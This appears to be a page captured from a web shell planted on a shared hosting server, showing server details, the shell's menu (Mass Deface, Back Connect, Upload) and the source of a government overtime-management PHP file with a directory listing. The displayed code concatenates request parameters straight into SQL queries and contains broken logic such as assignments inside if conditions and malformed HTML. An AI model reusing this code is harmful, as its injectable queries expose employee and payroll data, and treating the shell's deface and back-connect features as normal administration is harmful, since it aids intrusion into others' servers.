SEC [ nuwan.pro ]

Linux server217.web-hosting.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64

LiteSpeed

198.54.115.226 | Your IP: 216.73.216.130

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ home / nuwazhsc / dickowitadept.nuwan.pro / OTMS / AdminTest /

Home Upload Mass Deface Mass Delete Back Connect Info Server

Server Info

Operating System	:	Linux server217.web-hosting.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
User / Group	:	7627[nuwazhsc] / 7590[nuwazhsc]
PHP Version	:	8.0.30
IP Server	:	198.54.115.226
Your IP	:	216.73.216.130
Storage	:	Total = 6.2 TB, Free = 3.94 TB [63%]
Domains	:	Cant read [ /etc/named.conf ]
Software	:	LiteSpeed
Disable Functions	:	All function is accessible
Useful Functions	:	gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh
Downloader	:	wget, fetch, lynx, links, curl, get, lwp-mirror
CURL : ON \| SSH2 : OFF \| Magic Quotes : OFF \| MySQL : ON \| MSSQL : OFF \| PostgreSQL : ON \| Oracle : OFF
Safe Mode : OFF \| Open Basedir : NONE \| Safe Mode Exec Dir : NONE \| Safe Mode Include Dir : NONE

UpdateOTTime.php

<?php
session_start();
if (empty($_SESSION['username'])) {
    header('location:../index.php');
    exit;
}

require 'Connection.php';

$totalOvertimeHours = 0; 
$error = "";

function roundDownToNearest($hours, $minutes) {
    // Round down the minutes to the nearest 15-minute interval
    $minutes = floor($minutes / 15) * 15;
    
    return [
        'hours' => $hours,
        'minutes' => $minutes,
        'totalMinutes' => ($hours * 60) + $minutes
    ];
}
function custom_round($number, $precision = 2) {
    $factor = pow(10, $precision);
    return round($number * $factor) / $factor;
}

function calculateHourDifference($fromTime, $toTime) {
    $fromTime = new DateTime($fromTime);
    $toTime = new DateTime($toTime);

// If the toTime is earlier than the fromTime, it means the toTime is on the next day
    if ($toTime < $fromTime) {
        $toTime->modify('+1 day');
    }

$interval = $fromTime->diff($toTime);
    $hours = $interval->h;
    $minutes = $interval->i;

// Round down the minutes to the nearest 15-minute interval
    return roundDownToNearest($hours, $minutes);
}

if (isset($_POST["addottime"])) {
    // Retrieve form data
    $FromTimes = $_POST["fromT"];
    $ToTimes = $_POST["toT"];
    $OTdate = $_POST["OTdate"];
    $OTdateType = $_POST["OTdateType"];
    $Otdes = $_POST["Otdes"];
    $OTID = $_GET["OTID"];
    $duty = $_POST["duty"]; // Get the value of the radio button

// Escape user inputs for security
    $FromTimes = mysqli_real_escape_string($conn, $FromTimes);
    $ToTimes = mysqli_real_escape_string($conn, $ToTimes);
    $OTdate = mysqli_real_escape_string($conn, $OTdate);
    $Otdes = mysqli_real_escape_string($conn, $Otdes);
    $OTdateType = mysqli_real_escape_string($conn, $OTdateType);
    $OTID = mysqli_real_escape_string($conn, $OTID);
    $duty = mysqli_real_escape_string($conn, $duty);

// Get EmpNo from ot_emp_overtime table using OTID
    $GetEmpNoQuery = "SELECT EmpNo FROM ot_emp_overtime WHERE OTID = '$OTID'";
    $GetEmpNoResult = mysqli_query($conn, $GetEmpNoQuery);

if ($GetEmpNoResult && mysqli_num_rows($GetEmpNoResult) > 0) {
        $GetEmpNoRow = mysqli_fetch_assoc($GetEmpNoResult);
        $EmpNo = $GetEmpNoRow['EmpNo'];

// Get Designation from ot_emp_personal table using EmpNo
        $GetDesignationQuery = "SELECT Designation FROM ot_emp_personal WHERE EmpNo = '$EmpNo'";
        $GetDesignationResult = mysqli_query($conn, $GetDesignationQuery);

if ($GetDesignationResult && mysqli_num_rows($GetDesignationResult) > 0) {
            $GetDesignationRow = mysqli_fetch_assoc($GetDesignationResult);
            $Designation = $GetDesignationRow['Designation'];

// Determine approved hours and minutes based on duty (radio button)
            if ($duty == '1') {
                // If the duty is 'yes', use fixed approved hours and minutes
                $approvedHours = 9;
                $approvedMins = 0;
            } else {
                // Fetch approved hours and minutes for the user type
                $GetApprovedHours = "SELECT * FROM ot_worktime_main WHERE FIND_IN_SET('$Designation', usertypes)";
                $GetApprovedHoursResult = mysqli_query($conn, $GetApprovedHours);

if ($GetApprovedHoursResult && mysqli_num_rows($GetApprovedHoursResult) > 0) {
                    $GetApprovedHoursRow = mysqli_fetch_assoc($GetApprovedHoursResult);
                    $approvedHours = $GetApprovedHoursRow['hours'];
                    $approvedMins = $GetApprovedHoursRow['mins'];
                } else {
                    echo "<script>alert('No approved hours and minutes found for this user type.');</script>";
                    exit; // Exit if no approved hours and minutes found
                }
            }

// Calculate time difference in hours and minutes
            $timeDifference = calculateHourDifference($FromTimes, $ToTimes);
            $totalMinutesDifference = $timeDifference['totalMinutes'];

// Calculate the total approved minutes
            $totalApprovedMinutes = ($approvedHours * 60) + $approvedMins;

// Subtract the approved time from the calculated time difference only on working days
            if ($OTdateType == 1) {
                // Subtract approved time from total time difference for Working Day
                $remainingMinutes = $totalMinutesDifference - $totalApprovedMinutes;
            } else {
                // Use total time difference directly for Weekend or Holiday
                $remainingMinutes = $totalMinutesDifference;
            }

// Check if the remaining time is less than one hour (60 minutes)
            if ($remainingMinutes < 60) {
                echo "<script>alert('Remaining time must be at least one hour!');</script>";
            } else {
                // Prepare the SQL query
                $AddOTDel = "INSERT INTO ot_time (fromTime, toTime, ot_date, description, date_type, duty_type, OTID) 
                             VALUES ('$FromTimes', '$ToTimes', '$OTdate', '$Otdes', '$OTdateType', '$duty', '$OTID')";

if (mysqli_query($conn, $AddOTDel)) {
                    echo "<script>alert('Data inserted successfully!');</script>";
                } else {
                    echo "Error: " . $AddOTDel . "<br>" . mysqli_error($conn);
                }
            }
        } else {
            echo "<script>alert('No designation found for this employee number.');</script>";
        }
    } else {
        echo "<script>alert('No employee number found for this OTID.');</script>";
    }
}

if (isset($_POST["searchemp"])) {
    $EmpNo = $_POST["EmpNo"];
    $getEmpDel = "SELECT * FROM ot_emp_personal WHERE EmpNo='$EmpNo'";
    $getEmpDelResult = mysqli_query($conn, $getEmpDel);
    if ($getEmpDelResult) {
        if (mysqli_num_rows($getEmpDelResult) > 0) {
            $empData = mysqli_fetch_assoc($getEmpDelResult);
            $empName = $empData['EmpName'];
            $BasicSal = $empData['BasicSalary'];
            $Designation = $empData['Designation'];
            $error = "";

// Get approved working hours based on employee designation
            $GetApprovedHours = "SELECT * FROM ot_worktime_main WHERE FIND_IN_SET('$Designation', usertypes)";
            $GetApprovedHoursResult = mysqli_query($conn, $GetApprovedHours);
            $GetApprovedHoursRow = mysqli_fetch_assoc($GetApprovedHoursResult);
            $approvedHours = $GetApprovedHoursRow['hours'];
            $approvedMins = $GetApprovedHoursRow['mins'];
        } else {
            $error = "Employee Not Registered";
        }
    }
}
if (isset($BasicSal)) {
    $HourlyPay = round((float)$BasicSal / 240, 2);
}

// Retrieve added overtime entries
if (isset($EmpNo)) {
    $showAddOvertime = "SELECT * FROM ot_emp_overtime WHERE EmpNo='$EmpNo'";
    $showAddOvertimeResult = mysqli_query($conn, $showAddOvertime);
}

if (isset($_POST["SubmitOT"])) {
    // Ensure to sanitize and validate inputs before using them in your SQL query
    $OTID = mysqli_real_escape_string($conn, $_POST['OTID']);
    $totalHours = mysqli_real_escape_string($conn, $_POST['totalHours']);
    $remainingMinutes = mysqli_real_escape_string($conn, $_POST['remainingMinutes']);
    $totalPayment = mysqli_real_escape_string($conn, $_POST['totalPayment']);

// Fetch EmpNo from ot_emp_overtime table
    $GetEmpNoQuery = "SELECT EmpNo FROM ot_emp_overtime WHERE OTID = '$OTID'";
    $GetEmpNoResult = mysqli_query($conn, $GetEmpNoQuery);
    
    if ($GetEmpNoResult) {
        $EmpNoRow = mysqli_fetch_assoc($GetEmpNoResult);
        $EmpNo = $EmpNoRow['EmpNo'];

// Fetch Designation from ot_emp_personal table
        $GetDesignationQuery = "SELECT Designation FROM ot_emp_personal WHERE EmpNo = '$EmpNo'";
        $GetDesignationResult = mysqli_query($conn, $GetDesignationQuery);

if ($GetDesignationResult) {
            $GetDesignationRow = mysqli_fetch_assoc($GetDesignationResult);
            $Designation = $GetDesignationRow['Designation'];

// Determine status based on Designation
            $status = 7;

if ($totalHours < 1) {
                $error = "Total overtime hours are less than one hour and will not be calculated.";
            } else {
                // Update query to update OT payment
                $UpdatePayment = "UPDATE ot_emp_overtime SET OvertimeHours= '$totalHours', OvertimeMins	= '$remainingMinutes', Approvel_Stage = '$status', TotPayment = '$totalPayment' WHERE OTID = '$OTID'";
                
                if (mysqli_query($conn, $UpdatePayment)) {
                    header("location:index.php");
                } else {
                    echo "Error: " . $UpdatePayment . "<br>" . mysqli_error($conn);
                }
            }
        }
    }

}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Overtime Management System</title>
    <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css">
    <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.6/dist/umd/popper.min.js" integrity="sha384-oBqDVmMz9ATKxIep9tiCxS/Z9fNfEXiDAYTujMAeBAsjFuCZSmKbSSUnQlmh/jp3" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.min.js" integrity="sha384-mQ93GR66B00ZXjt0YO5KlohRA5SY2XofN4zfuZxLkoj1gXtW8ANNCe9d5Y3eG5eD" crossorigin="anonymous"></script>
    <link rel="stylesheet" type="text/css" href="CSS/style.css">
</head>
<body>
    <br>
    <div class="row">
        <div class="col-xl-1"></div> 
        <div class="col-xl-6">
            <div class="card-header d-flex align-items-center justify-content-between">
                <h3 class="mb-0">Overtime Management System</h3>
            </div>
            <div class="card-header d-flex align-items-center justify-content-between">
                <h5 class="mb-0">Fisheries & Aquatic Resources Department</h5>
            </div>
        </div>
        <div class="col-xl-2"></div>
        <div class="col-xl-2"></div>
        <div class="col-xl-1">
            <div class="card-header d-flex align-items-center justify-content-between">
                <label><?php echo $_SESSION['username']; ?></label>
            </div>   
        </div>
    </div>
    <div class="row">
        <div class="col-xl-1"></div> 
        <div class="col-xl-11">
            <hr>
            <a href="index.php"><button type="button" class="btn btn-success">Home</button></a>
            <a href="AddOvertime.php"><button type="button" class="btn btn-warning">Add Overtime</button></a>
            <a href="logout.php"><button type="button" class="btn btn-danger">Logout</button></a>
        </div>
    </div>

<br><br>
<?php
$OTID = isset($_GET["OTID"]) ? $_GET["OTID"] : null;
$empNo = "";
$empName = "";
$BasicSal = "";
$HourlyPay = "";
$totalHours = 0;
$totalMinutes = 0;
$totalPayment = 0;

if ($OTID) {
    $GetEmployeeData = "SELECT * FROM ot_emp_overtime WHERE OTID = $OTID";
    $GetEmployeeDataResult = mysqli_query($conn, $GetEmployeeData);
    if ($GetEmployeeDataResult) {
        if (mysqli_num_rows($GetEmployeeDataResult) > 0) {
            $empOTData = mysqli_fetch_assoc($GetEmployeeDataResult);
            $empNo = $empOTData['EmpNo'];
            $empName = $empOTData['EmpName'];
            $BasicSal = $empOTData['BasicSalary'];
            $HourlyPay = round($BasicSal / 240, 2); // Calculate Hourly Pay

// Retrieve the approved working hours based on designation
            $GetDesignation = "SELECT Designation FROM ot_emp_personal WHERE EmpNo = $empNo";
            $GetDesignationResult = mysqli_query($conn, $GetDesignation);
            $GetDesignationRow = mysqli_fetch_assoc($GetDesignationResult);
            $Designation = $GetDesignationRow['Designation'];

$GetApprovedHours = "SELECT * FROM ot_worktime_main WHERE FIND_IN_SET('$Designation', usertypes)";
            $GetApprovedHoursResult = mysqli_query($conn, $GetApprovedHours);
            $GetApprovedHoursRow = mysqli_fetch_assoc($GetApprovedHoursResult);
            $approvedHours = $GetApprovedHoursRow['hours'];
            $approvedMins = $GetApprovedHoursRow['mins'];
        } else {
            $error = "Employee Not Registered";
        }
    } else {
        $error = "Error executing query: " . mysqli_error($conn);
    }

// Retrieve added overtime entries
    $GetOTTimes = "SELECT fromTime, toTime FROM ot_time WHERE OTID = $OTID";
    $GetOTTimesResult = mysqli_query($conn, $GetOTTimes);
    if ($GetOTTimesResult) {
        while ($row = mysqli_fetch_assoc($GetOTTimesResult)) {
            $fromTime = $row['fromTime'];
            $toTime = $row['toTime'];
            $timeDifference = calculateHourDifference($fromTime, $toTime);

// Calculate total worked time in minutes
            $workedMinutes = $timeDifference['hours'] * 60 + $timeDifference['minutes'];
            $approvedMinutes = $approvedHours * 60 + $approvedMins;

// Calculate overtime in minutes

if($OTdateType = 1){
                $overtimeMinutes = max($workedMinutes - $approvedMinutes, 0);
                $totalMinutes += $overtimeMinutes;
            }
            else if ($OTdateType = 2 || $OTdateType = 3){
                $overtimeMinutes = max($workedMinutes);
                $totalMinutes += $overtimeMinutes;
                        }
            $overtimeMinutes = max($workedMinutes - $approvedMinutes, 0);
            $totalMinutes += $overtimeMinutes;
        }

$totalHours = floor($totalMinutes / 60);
        $remainingMinutes = $totalMinutes % 60;

// Calculate total payment
        $totalPayment = round(($totalHours * $HourlyPay) + ($remainingMinutes / 60 * $HourlyPay), 2);
    } else {
        $error = "Error executing query: " . mysqli_error($conn);
    }
}

if (!empty($error)) {
    echo '<div class="alert alert-danger">' . $error . '</div>';
}
?>

<div class="row">
    <div class="col-xl-1"></div> 
    <div class="col-xl-5">
        <div class="card">
            <div class="card-body">
                <form method="post" action="">
                    <div class="form-group">
                        <label for="EmpNo">Employee No:</label>
                        <input type="text" class="form-control" id="EmpNo" name="EmpNo" value="<?php echo $empNo; ?>">
                    </div>
                    <div class="form-group">
                        <label for="EmpName">Employee Name:</label>
                        <input type="text" class="form-control" id="EmpName" name="EmpName" value="<?php echo $empName; ?>" readonly>
                    </div>
                    <div class="form-group">
                        <label for="BasicSal">Basic Salary:</label>
                        <input type="text" class="form-control" id="BasicSal" name="BasicSal" value="<?php echo $BasicSal; ?>" readonly>
                    </div>
                    <div class="form-group">
                        <label for="HourlyPay">Hourly Pay:</label>
                        <input type="text" class="form-control" id="HourlyPay" name="HourlyPay" value="<?php echo $HourlyPay; ?>" readonly>
                    </div>
                    <br>
                    
                </form>
            </div>
        </div>
    </div>
  
    <div class="col-xl-5">
        <div class="card">
            <div class="card-body">
                <?php
                // Assuming $conn is your mysqli connection object and $OTID is defined elsewhere
                $getApprovals = "SELECT a.*, o.fname, o.lname 
                FROM ot_approvel_log a 
                INNER JOIN ot_officer_profile o ON a.userID = o.uid
                WHERE a.OTID='$OTID'";
                $approvalResult = mysqli_query($conn, $getApprovals);
                $approvalResult = mysqli_query($conn, $getApprovals);

if (mysqli_num_rows($approvalResult) > 0) {
                    echo '<table class="table table-striped">';
                    echo '<thead>';
                    echo '<tr>';
                    echo '<th scope="col"> </th>';
                    echo '<th scope="col">Officer</th>';
                    echo '<th scope="col">Comments</th>';
                    echo '</tr>';
                    echo '</thead>';
                    echo '<tbody>';

$counter = 1;
                    while ($row = mysqli_fetch_assoc($approvalResult)) {
                        echo '<tr>';
                        echo '<th scope="row">' . $counter . '</th>';
                        echo '<td>' . htmlspecialchars($row['fname'] . ' ' . $row['lname']) . '</td>';
                        echo '<td>' . htmlspecialchars($row['remark']) . '</td>';
                        echo '</tr>';
                        $counter++;
                    }

echo '</tbody>';
                    echo '</table>';
                } else {
                    echo '<p>No approval records found.</p>';
                }
                ?>
            </div>
        </div>
    </div>
</div>
    <div class="col-xl-1"></div> 
</div>

<div class="row">
    <div class="col-xl-1"></div>
    <div class="col-xl-10">
      
                    <tbody>
                        <?php if (isset($GetOTTimesResult)) {
                            while ($row = mysqli_fetch_assoc($GetOTTimesResult)) {
                                $fromTime = $row['fromTime'];
                                $toTime = $row['toTime'];
                                $timeDifference = calculateHourDifference($fromTime, $toTime);
                                $workedHours = $timeDifference['hours'];
                                $workedMinutes = $timeDifference['minutes'];
                                $overtimeHours = $workedHours - $approvedHours;
                                $overtimeMinutes = $workedMinutes - $approvedMins;

if ($overtimeMinutes < 0) {
                                    $overtimeHours--;
                                    $overtimeMinutes += 60;
                                }
                                if ($overtimeHours < 0) {
                                    $overtimeHours = 0;
                                    $overtimeMinutes = 0;
                                }
                                echo

$overtimePayment = round(($overtimeHours * $HourlyPay) + ($overtimeMinutes / 60 * $HourlyPay), 2);
                                echo "<tr>
                                        <td>$fromTime</td>
                                        <td>$toTime</td>
                                        <td>{$overtimeHours}h {$overtimeMinutes}m</td>
                                        <td>$$overtimePayment</td>
                                    
                                    </tr>";
                            }
                        } ?>

</tbody>
                </table>

<br>
               
   <br><br>
   <?php
$getOTtimeDel = "SELECT * FROM ot_time WHERE OTID = '$OTID'";
$getOTtimeDelResult = mysqli_query($conn, $getOTtimeDel);

if ($getOTtimeDelResult) {
    $totalHours = 0;
    $totalMinutes = 0;

while ($row = mysqli_fetch_assoc($getOTtimeDelResult)) {
        $fromTime = $row['fromTime'];
        $toTime = $row['toTime'];
        $date_type = $row['date_type'];
        $duty_type = $row['duty_type']; // New column for duty type

// Calculate time difference for each entry
        $timeDifference = calculateHourDifference($fromTime, $toTime);
        $hours = $timeDifference['hours'];
        $minutes = $timeDifference['minutes'];

// Total minutes worked
        $totalMinutesWorked = ($hours * 60) + $minutes;

// Initialize approved hours and minutes
        $approvedHours = 0;
        $approvedMins = 0;

if ($duty_type == 1) { // Duty type 1 means fixed approved working time of 9 hours
            $approvedHours = 9;
            $approvedMins = 0;
        } else { // Duty type 0 or other values, fetch approved hours and minutes
            $GetEmpNoQuery = "SELECT EmpNo FROM ot_emp_overtime WHERE OTID = '$OTID'";
            $GetEmpNoResult = mysqli_query($conn, $GetEmpNoQuery);

if ($GetEmpNoResult && mysqli_num_rows($GetEmpNoResult) > 0) {
                $GetEmpNoRow = mysqli_fetch_assoc($GetEmpNoResult);
                $EmpNo = $GetEmpNoRow['EmpNo'];

// Get Designation from ot_emp_personal table using EmpNo
                $GetDesignationQuery = "SELECT Designation FROM ot_emp_personal WHERE EmpNo = '$EmpNo'";
                $GetDesignationResult = mysqli_query($conn, $GetDesignationQuery);

if ($GetDesignationResult && mysqli_num_rows($GetDesignationResult) > 0) {
                    $GetDesignationRow = mysqli_fetch_assoc($GetDesignationResult);
                    $Designation = $GetDesignationRow['Designation'];

// Fetch approved hours and minutes for the user type
                    $GetApprovedHoursQuery = "SELECT * FROM ot_worktime_main WHERE FIND_IN_SET('$Designation', usertypes)";
                    $GetApprovedHoursResult = mysqli_query($conn, $GetApprovedHoursQuery);

if ($GetApprovedHoursResult && mysqli_num_rows($GetApprovedHoursResult) > 0) {
                        $GetApprovedHoursRow = mysqli_fetch_assoc($GetApprovedHoursResult);
                        $approvedHours = $GetApprovedHoursRow['hours'];
                        $approvedMins = $GetApprovedHoursRow['mins'];
                    } else {
                        echo "<script>alert('No approved hours and minutes found for this user type.');</script>";
                    }
                } else {
                    echo "<script>alert('No designation found for this employee number.');</script>";
                }
            } else {
                echo "<script>alert('No employee number found for this OTID.');</script>";
            }
        }

// Calculate remaining minutes based on duty type and date type
        $totalApprovedMinutes = ($approvedHours * 60) + $approvedMins;
        if ($duty_type == 1 && $date_type == 1) {
            $remainingMinutes = $totalMinutesWorked - (9 * 60); // Fixed 9 hours for working day only
        } else if ($date_type == 1) {
            $remainingMinutes = $totalMinutesWorked - $totalApprovedMinutes; // Working day with dynamic approved time
        } else {
            $remainingMinutes = $totalMinutesWorked; // Weekend or Holiday
        }

// Convert remaining minutes back to hours and minutes
        $hours = floor($remainingMinutes / 60);
        $minutes = $remainingMinutes % 60;

// Accumulate total hours and minutes
        $totalHours += $hours;
        $totalMinutes += $minutes;
    }

// Convert excess minutes to hours if necessary
    if ($totalMinutes >= 60) {
        $additionalHours = floor($totalMinutes / 60);
        $totalHours += $additionalHours;
        $totalMinutes = $totalMinutes % 60;
    }

// Fetch HourlyPay from ot_emp_overtime table for final calculation
    $GetHourlyPayQuery = "SELECT HourlyPay FROM ot_emp_overtime WHERE OTID = '$OTID'";
    $GetHourlyPayResult = mysqli_query($conn, $GetHourlyPayQuery);

if ($GetHourlyPayResult && mysqli_num_rows($GetHourlyPayResult) > 0) {
        $GetHourlyPayRow = mysqli_fetch_assoc($GetHourlyPayResult);
        $ratePerHour = $GetHourlyPayRow['HourlyPay'];

// Calculate total payment based on total hours and minutes
        $totalPayment = ($totalHours + ($totalMinutes / 60)) * $ratePerHour;

// Display the details
        ?>
        <div class="card-body">
            <strong>Total Overtime Hours:</strong> <?php echo "{$totalHours}h {$totalMinutes}m"; ?><br>
            <strong>Total Payment:</strong> Rs. <?php echo round($totalPayment, 2); ?>
        </div>
        <?php
    } else {
        echo "<script>alert('HourlyPay not found for this OTID.');</script>";
    }

} else {
    echo "Error retrieving overtime details: " . mysqli_error($conn);
}
?>

<input type="hidden" name="OTID" value="<?php echo $OTID; ?>">
    <p class="text-danger"><?php echo $error; ?></p>

<input type="submit" name="SubmitOT" class="btn btn-success" value="Submit Overtime">
</form>

</div>
</div>

</form>
                </div>
            </div>
        </div>
    </div>
    <div class="col-xl-1"></div>
</div>
<br><br>
<div class="row">

</div>

<div class="row">
<div class="col-xl-1"></div>
     
        <div class="col-xl-10">
        
        <hr><br>
        <h4><b>Details of overtime dates and time per month</b></h4>    
       
          
               
        <?php
    $OTID = $_GET["OTID"];
    $GetEmpNoQuery = "SELECT EmpNo FROM ot_emp_overtime WHERE OTID = '$OTID'";
    $GetEmpNoResult = mysqli_query($conn, $GetEmpNoQuery);

if ($GetEmpNoResult && mysqli_num_rows($GetEmpNoResult) > 0) {
        $GetEmpNoRow = mysqli_fetch_assoc($GetEmpNoResult);
        $EmpNo = $GetEmpNoRow['EmpNo'];

// Fetch approved hours and minutes for the user type
            $GetApprovedHours = "SELECT * FROM ot_worktime_main WHERE FIND_IN_SET('$Designation', usertypes)";
            $GetApprovedHoursResult = mysqli_query($conn, $GetApprovedHours);

// Calculate the total approved minutes
                $totalApprovedMinutes = ($approvedHours * 60) + $approvedMins;

// Fetch OT records for the given OTID
                $sql = "SELECT * FROM ot_time WHERE OTID = '$OTID'";
                $result = mysqli_query($conn, $sql);
                while ($row = mysqli_fetch_array($result)) {
                    $fromTime = $row['fromTime'];
                    $toTime = $row['toTime'];
                    $OTdateType = $row['date_type'];
                    $duty_type = $row['duty_type']; // New column for duty type

// Calculate the time difference
                    $timeDifference = calculateHourDifference($fromTime, $toTime);
                    $totalMinutesWorked = ($timeDifference['hours'] * 60) + $timeDifference['minutes'];

// Calculate remaining minutes based on duty_type and date_type
                    if ($duty_type == 1 && $OTdateType == 1) {
                        $remainingMinutes = $totalMinutesWorked - (9 * 60); // Fixed 9 hours for working day only
                    } else if ($OTdateType == 1) {
                        $remainingMinutes = $totalMinutesWorked - $totalApprovedMinutes; // Working day with dynamic approved time
                    } else {
                        $remainingMinutes = $totalMinutesWorked; // Weekend or Holiday
                    }

// Convert remaining minutes to hours and minutes
                    $remainingHours = floor($remainingMinutes / 60);
                    $remainingMinutes = $remainingMinutes % 60;
                ?>
                   
                    <?php
                    }
                } else {
                    echo "<script>alert('No approved hours and minutes found for this user type.');</script>";
                }
            } else {
                echo "<script>alert('No designation found for this employee number.');</script>";
            }
        } else {
            echo "<script>alert('No employee number found for this OTID.');</script>";
        }
        ?>
    
        </div>
    </div>

<?php
    // Assuming $conn is your mysqli connection object and $OTID is defined elsewhere
    $getOTdel = "SELECT * FROM ot_time WHERE OTID='$OTID'";
    $getOTdelResult = mysqli_query($conn, $getOTdel);

if (mysqli_num_rows($getOTdelResult) > 0) {
        echo '<div class="col-xl-1"></div>';
        echo '<div class="col-xl-10">';
        echo '<div class="card">';
        echo '<div class="card-body">';
        echo '<table class="table table-striped">';
        echo '<thead>';
        echo '<tr>';
        echo '<th scope="col">#</th>';
        echo '<th scope="col">Description</th>';
        echo '<th scope="col">Date</th>';
        echo '<th scope="col">From</th>';
        echo '<th scope="col">To</th>';
        echo '<th scope="col">Date Type</th>';
        echo '<th scope="col">No of Overtime Hours</th>'; // Add No of Overtime Hours column header
        echo '<th scope="col">Actions</th>'; // Add Actions column header
        echo '</tr>';
        echo '</thead>';
        echo '<tbody>';

$counter = 1;
        while ($row = mysqli_fetch_assoc($getOTdelResult)) {
            // Calculate overtime hours and minutes again
            $fromTime = $row['fromTime'];
            $toTime = $row['toTime'];
            $timeDifference = calculateHourDifference($fromTime, $toTime);
            $totalMinutesDifference = $timeDifference['totalMinutes'];

// Subtract the approved time from the calculated time difference
            $OTdateType = $row['date_type'];
            if ($OTdateType == 1) {
                $remainingMinutes = $totalMinutesDifference - $totalApprovedMinutes;
            } else {
                $remainingMinutes = $totalMinutesDifference;
            }

$remainingHours = floor($remainingMinutes / 60);
            $remainingMinutes = $remainingMinutes % 60;

echo '<tr>';
            echo '<th scope="row">' . $counter . '</th>';
            echo '<td>' . htmlspecialchars($row['description']) . '</td>';
            echo '<td>' . htmlspecialchars($row['ot_date']) . '</td>';
            echo '<td>' . htmlspecialchars($row['fromTime']) . '</td>';
            echo '<td>' . htmlspecialchars($row['toTime']) . '</td>';
            echo '<td>'; // Opening <td> for date_type

if ($row['date_type'] == 1) {
                echo 'Working Day';
            } elseif ($row['date_type'] == 2) {
                echo 'Weekend';
            } elseif ($row['date_type'] == 3) {
                echo 'Holiday';
            } else {
                echo htmlspecialchars($row['date_type']);
            }

echo '</td>'; // Closing <td> for date_type
            echo '<td>' . sprintf('%d hours %d minutes', $remainingHours, $remainingMinutes) . '</td>'; // Display No of Overtime Hours
            echo '<td>'; // Opening <td> for Actions

echo '<a href="EditOTTime.php?id=' . $row['ott_id'] . '" class="btn btn-primary">Edit</a>';

echo '</td>'; // Closing <td> for Actions
            echo '</tr>';
            $counter++;
        }

echo '</tbody>';
        echo '</table>';
        echo '</div>'; // card-body
        echo '</div>'; // card
        echo '</div>'; // col-xl-10
        echo '</div>'; // col-xl-1
    } else {
        echo '<p>No records found.</p>';
    }
?>

</div>
    </div>

// Get the current date
            const today = new Date();

// Get the first and last day of the previous month
            const firstDayOfPreviousMonth = new Date(today.getFullYear(), today.getMonth() - 1, 1);
            const lastDayOfPreviousMonth = new Date(today.getFullYear(), today.getMonth(), 0);

// Format dates to YYYY-MM-DD
            const formatDate = (date) => {
                const month = String(date.getMonth() + 1).padStart(2, '0');
                const day = String(date.getDate()).padStart(2, '0');
                return `${date.getFullYear()}-${month}-${day}`;
            };

// Set min and max attributes
            dateInput.min = formatDate(firstDayOfPreviousMonth);
            dateInput.max = formatDate(lastDayOfPreviousMonth);

// Disable dates outside the previous month
            dateInput.addEventListener('input', function() {
                const selectedDate = new Date(dateInput.value);
                if (selectedDate < firstDayOfPreviousMonth || selectedDate > lastDayOfPreviousMonth) {
                    dateInput.setCustomValidity('Please select a date within the previous month.');
                } else {
                    dateInput.setCustomValidity('');
                }
            });
        });
    </script>
</html>

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	nuwazhsc/nuwazhsc	drwxr-xr-x	2025-03-25 04:22:36
..	dir	-	nuwazhsc/nuwazhsc	drwxr-xr-x	2025-03-25 04:23:06
css	dir	-	nuwazhsc/nuwazhsc	drwxr-xr-x	2025-03-25 04:22:28
data	dir	-	nuwazhsc/nuwazhsc	drwxr-xr-x	2025-03-25 04:22:30
img	dir	-	nuwazhsc/nuwazhsc	drwxr-xr-x	2025-03-25 04:22:36
js	dir	-	nuwazhsc/nuwazhsc	drwxr-xr-x	2025-03-25 04:22:36
vendor	dir	-	nuwazhsc/nuwazhsc	drwxr-xr-x	2025-03-25 04:22:38
AddOTTime.php	text/x-php	41.29 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2024-09-26 04:37:12
AddOvertime.php	text/x-php	16.83 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2024-08-11 04:41:34
Connection.php	text/plain	198 B	nuwazhsc/nuwazhsc	-rw-r--r--	2024-07-15 02:01:36
EditOTTime.php	text/x-php	10.48 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2024-09-26 02:30:38
EditOvertime.php	text/x-php	8.96 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2024-07-15 02:01:36
EditPersonalDetails.php	text/x-php	5.77 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2024-08-07 02:05:08
LeaveDel.php	text/x-php	5.31 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2024-07-15 02:01:38
NewEmployeeReg.php	text/x-php	8.78 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2024-08-08 05:07:10
OrderSumdistrict.php	text/x-php	5.51 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2024-08-26 04:48:10
UpdateOTTime.php	text/x-php	33.14 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2024-07-30 06:48:54
UpdatePersonalDetails.php	text/x-php	11.54 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2024-08-08 05:07:24
ViewOvertime.php	text/x-php	7.35 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2024-07-15 02:01:40
fetch_sub_units.php	text/x-php	697 B	nuwazhsc/nuwazhsc	-rw-r--r--	2024-08-08 05:04:02
index.php	text/x-php	8.51 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2024-08-26 04:45:22
logout.php	text/x-php	163 B	nuwazhsc/nuwazhsc	-rw-r--r--	2024-07-15 02:01:38